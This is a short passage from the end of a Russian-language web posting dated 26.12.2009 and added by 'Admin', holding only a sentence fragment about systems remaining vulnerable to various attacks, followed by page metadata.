остаются уязвимыми для самых разных атак.
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
Рассылка
|